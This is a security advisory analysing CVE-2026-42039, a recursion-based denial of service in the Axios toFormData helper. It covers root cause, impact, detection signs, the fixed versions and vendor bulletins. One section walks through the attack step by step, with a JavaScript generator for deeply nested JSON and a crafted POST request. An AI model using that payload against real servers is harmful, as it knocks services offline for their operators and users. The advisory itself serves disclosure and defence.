CVE-2026-42039: 
JavaScript vulnerability analysis and mitigation

CVE-2026-42039 is an uncontrolled recursion (DoS) vulnerability in the Axios HTTP client library for Node.js. The toFormData function recursively walks nested objects without any depth limit, causing a RangeError: Maximum call stack size exceeded that crashes the Node.js process when a deeply nested payload (~2000+ levels) is supplied as request data. It affects Axios versions up to and including 1.15.0 (1.x branch) and up to and including 0.31.0 (0.x branch). The vulnerability was published on April 24, 2026, and has a CVSS v3.1 base score of 7.5 (High) and a CVSS v4.0 base score of 6.9 (Medium) (Github Advisory, Axios Advisory).

The root cause is classified as CWE-674 (Uncontrolled Recursion). In lib/helpers/toFormData.js, the inner build(value, path) function recurses into every object/array child without a maximum depth check — the only guard is a circular-reference detection stack, not a depth limit, and there is no try/catch around the recursion. Because toFormData is also the serializer behind AxiosURLSearchParams (used by buildURL when URLSearchParams is unavailable), any server-side code that forwards client-supplied JSON into axios({ data, params }) exposes the recursive walker to attacker-controlled nesting depth. A payload nested approximately 2,500 levels deep exhausts V8's call stack synchronously, causing the RangeError to propagate out of the axios request call and crash the request handler or the entire process (Github Advisory, Axios Advisory).

Successful exploitation results in a denial-of-service condition with no impact on confidentiality or integrity. In typical Express or Fastify proxy patterns where client JSON is forwarded through axios, the crash terminates the running request handler; in worker thread or cluster setups, it can bring down the entire Node.js process, making the service completely unavailable until restarted. The vulnerability is particularly impactful in applications that act as API gateways or reverse proxies, as a single unauthenticated HTTP request is sufficient to trigger the crash (Github Advisory).

A proof-of-concept exploit is publicly available in the official GitHub Security Advisory, providing a concrete, reproducible attack sequence verified on axios 1.15.0 and Node.js 20 (Axios Advisory). No authentication or special privileges are required, and no user interaction is needed. The EPSS score is approximately 0.031% (9th percentile), indicating a low but non-zero probability of exploitation in the near term. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog. Detection plugins are available via Nessus (ID 313224) and Qualys (ID 387394) (Github Advisory).

1. Reconnaissance: Identify server-side Node.js applications that use a vulnerable version of axios (< 1.15.1 or < 0.31.1) and expose an HTTP endpoint that forwards client-supplied JSON body or query parameters directly into an axios request (the "vulnerable proxy pattern").
2. Craft deeply nested payload: Construct a JSON object nested approximately 2,500 levels deep, e.g.:

{"a":{"a":{"a": ... /* 2500 levels */ ...}}}

This can be generated programmatically:

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}
console.log(JSON.stringify(nest(2500)));

3. Send the malicious request: POST the deeply nested JSON payload to the vulnerable endpoint:

POST /forward HTTP/1.1
Content-Type: application/json

{"a":{"a":{"a": ... 2500 deep ...}}}

4. Trigger crash: The server's axios call passes req.body to toFormData, which recursively walks the nested object, exhausting V8's call stack and throwing an uncaught RangeError: Maximum call stack size exceeded, crashing the request handler or the Node.js process (Axios Advisory).

• Network: Repeated HTTP POST requests with unusually large or deeply nested JSON bodies (Content-Length may be moderate but nesting depth is extreme); requests targeting proxy or forwarding endpoints from a single or rotating source IP.
• Logs: Node.js process logs or application error logs showing RangeError: Maximum call stack size exceeded originating from toFormData.js or axios; sudden process restarts or crash dumps in PM2/systemd logs.
• Process: Unexpected Node.js process termination or restart events; cluster worker respawn events in process managers (PM2, forever) correlated with specific HTTP request timestamps.
• Application: HTTP 500 or 502 errors spiking on specific endpoints that proxy or forward request bodies through axios, particularly following receipt of requests with deeply nested JSON payloads (Axios Advisory).

Upgrade Axios to version 1.15.1 (for the 1.x branch) or 0.31.1 (for the 0.x branch), which bound the recursion depth in toFormData's build function (Github Advisory). As a short-term workaround, validate and reject deeply nested JSON input at the application or middleware layer before it reaches axios (e.g., limit JSON nesting depth using a library like flat or a custom middleware). IBM has issued security bulletins for affected products including IBM App Connect Enterprise, IBM Cloud Pak for Integration, IBM Maximo Application Suite, IBM Voice Gateway, IBM Edge Application Manager, IBM Aspera Enterprise WebApps, IBM InfoSphere Optim Archive Viewer, IBM Business Automation Manager Open Editions, IBM License Metric Tool, and IBM watsonx Code Assistant On Prem — consult the respective IBM support pages for product-specific remediation (IBM ACE Advisory, IBM CP4I Advisory).

The vulnerability was reported by security researcher fg0x0 and published by axios maintainer jasonsaayman on April 24, 2026 (Axios Advisory). IBM issued multiple security bulletins across its product portfolio in May–June 2026, reflecting the broad downstream impact of the axios dependency. Red Hat also issued several errata (RHSA-2026:14937, RHSA-2026:16476, RHSA-2026:16535, RHSA-2026:16542, RHSA-2026:17657, RHSA-2026:21338, RHSA-2026:22619, RHSA-2026:25041, RHSA-2026:25089) addressing this CVE in their products. The vulnerability received moderate community attention given axios's widespread use across the Node.js ecosystem.